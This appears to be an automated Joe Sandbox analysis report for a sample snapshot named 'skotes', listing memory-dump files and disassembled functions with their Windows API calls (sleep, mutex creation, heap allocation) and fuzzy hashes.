Source File: 00000002.00000002.1557363154.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000002.00000002.1557340900.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557363154.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557449810.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557472972.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557505221.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557699369.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557734376.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557844509.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557872544.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557926711.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557954679.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557986242.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558016827.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558048638.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558076899.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558109535.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558141973.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558173028.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558196095.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558232569.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558254872.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558285318.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558316630.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558350839.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558385633.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558417031.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558445952.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558476544.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558548431.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558579441.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558612613.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558654105.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558763579.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558790189.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558827077.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558863954.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558898662.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558931308.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4195c9125a0f6ee7b873e2fcdd68b85ccc102b8ef4c32e1b9c315c60dc0ab16b
Instruction ID: fe0ff38ba6037b80f47cf136cd2ce40e84f02217dfa4a268d1376d928f650e1a
Opcode Fuzzy Hash: 4195c9125a0f6ee7b873e2fcdd68b85ccc102b8ef4c32e1b9c315c60dc0ab16b
Instruction Fuzzy Hash: 66213A717442049BEB189F68EE8DBADF762EBC1314F24532EE418F72D1CB769D828611

Function 00ECA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000002.00000002.1557363154.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000002.00000002.1557340900.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557363154.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557449810.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557472972.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557505221.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557699369.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557734376.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557844509.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557872544.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557926711.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557954679.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557986242.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558016827.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558048638.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558076899.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558109535.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558141973.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558173028.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558196095.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558232569.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558254872.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558285318.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558316630.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558350839.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558385633.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558417031.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558445952.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558476544.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558548431.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558579441.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558612613.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558654105.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558763579.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558790189.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558827077.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558863954.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558898662.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558931308.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c507b9cbe90346e758a6d464303087438e87fe03df2c53df9007928ecf7c9a55
Instruction ID: d3c572051b404b9b34b295149a694c0358bad6667738a853a47a1db9ba6a72db
Opcode Fuzzy Hash: c507b9cbe90346e758a6d464303087438e87fe03df2c53df9007928ecf7c9a55
Instruction Fuzzy Hash: 09216E313441048BF7286B68DA9EF6DB661DF81308F18152EE444F23C1CA7749835553

Function 00ECA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000002.00000002.1557363154.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000002.00000002.1557340900.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557363154.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557449810.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557472972.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557505221.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557699369.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557734376.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557844509.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557872544.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557926711.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557954679.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557986242.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558016827.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558048638.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558076899.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558109535.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558141973.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558173028.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558196095.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558232569.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558254872.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558285318.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558316630.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558350839.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558385633.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558417031.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558445952.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558476544.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558548431.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558579441.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558612613.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558654105.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558763579.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558790189.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558827077.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558863954.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558898662.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558931308.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e277de69dccbf4934f567aec518e70e744f45fafdd5783c34627b0d0bba88c7c
Instruction ID: 03eb43a39d33030238a02a652ffad54e45524ab29ee4e380b6f9f3f889599eac
Opcode Fuzzy Hash: e277de69dccbf4934f567aec518e70e744f45fafdd5783c34627b0d0bba88c7c
Instruction Fuzzy Hash: 6B2190313442089BE7189F2CED89BADF761DBC1314F28522EE408F73D0C77749818252

Function 00EFD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00EFA813,00000001,00000364,00000006,000000FF,?,00EFEE3F,?,00000004,00000000,?,?), ref: 00EFD870

Memory Dump Source

Source File: 00000002.00000002.1557363154.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000002.00000002.1557340900.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557363154.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557449810.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557472972.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557505221.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557699369.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557734376.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557844509.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557872544.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557926711.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557954679.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557986242.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558016827.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558048638.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558076899.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558109535.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558141973.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558173028.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558196095.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558232569.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558254872.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558285318.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558316630.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558350839.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558385633.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558417031.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558445952.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558476544.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558548431.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558579441.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558612613.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558654105.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558763579.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558790189.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558827077.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558863954.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558898662.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558931308.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b8cdf4c433d920138cc0eba56226413029d0e2a4fd97d112f4ba0f0d846eb0ac
Instruction ID: e369a86dd85475f8affabfdca62a92132f79ab08de53ab913059a57ab30dceda
Opcode Fuzzy Hash: b8cdf4c433d920138cc0eba56226413029d0e2a4fd97d112f4ba0f0d846eb0ac
Instruction Fuzzy Hash: 2CF0BB3160916C56DB2926729C01A7B3F9B9B417F0B24A121EF04F7191DA20DC0085D0

Non-executed Functions

Function 00EFCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00EFCC66

Strings

v, xrefs: 00EFCBE1

Memory Dump Source

Source File: 00000002.00000002.1557363154.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000002.00000002.1557340900.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557363154.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557449810.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557472972.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557505221.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557699369.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557734376.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557844509.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557872544.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557926711.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557954679.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557986242.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558016827.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558048638.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558076899.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558109535.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558141973.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558173028.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558196095.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558232569.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558254872.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558285318.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558316630.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558350839.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558385633.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558417031.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558445952.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558476544.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558548431.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558579441.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558612613.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558654105.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558763579.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558790189.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558827077.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558863954.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558898662.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558931308.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v
API String ID: 3213747228-1361604894
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: f5530a69dab17ef92fac6b6929f31fdd68290eace9acb73ed14f7109ece3cf9f
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: FAB11232A0064D9FDB15CF28C9817BEBBE5EF45344F3491AADA45FB281D6358D02CB60

Function 00EC2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00EC2F5F
__Mtx_unlock.LIBCPMT ref: 00EC2FCC
__Cnd_broadcast.LIBCPMT ref: 00EC2FE3
__Mtx_unlock.LIBCPMT ref: 00EC30F5
__Mtx_unlock.LIBCPMT ref: 00EC319B

Memory Dump Source

Source File: 00000002.00000002.1557363154.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000002.00000002.1557340900.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557363154.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557449810.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557472972.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557505221.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557699369.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557734376.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557844509.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557872544.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557926711.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557954679.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557986242.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558016827.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558048638.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558076899.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558109535.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558141973.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558173028.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558196095.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558232569.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558254872.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558285318.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558316630.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558350839.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558385633.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558417031.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558445952.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558476544.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558548431.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558579441.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
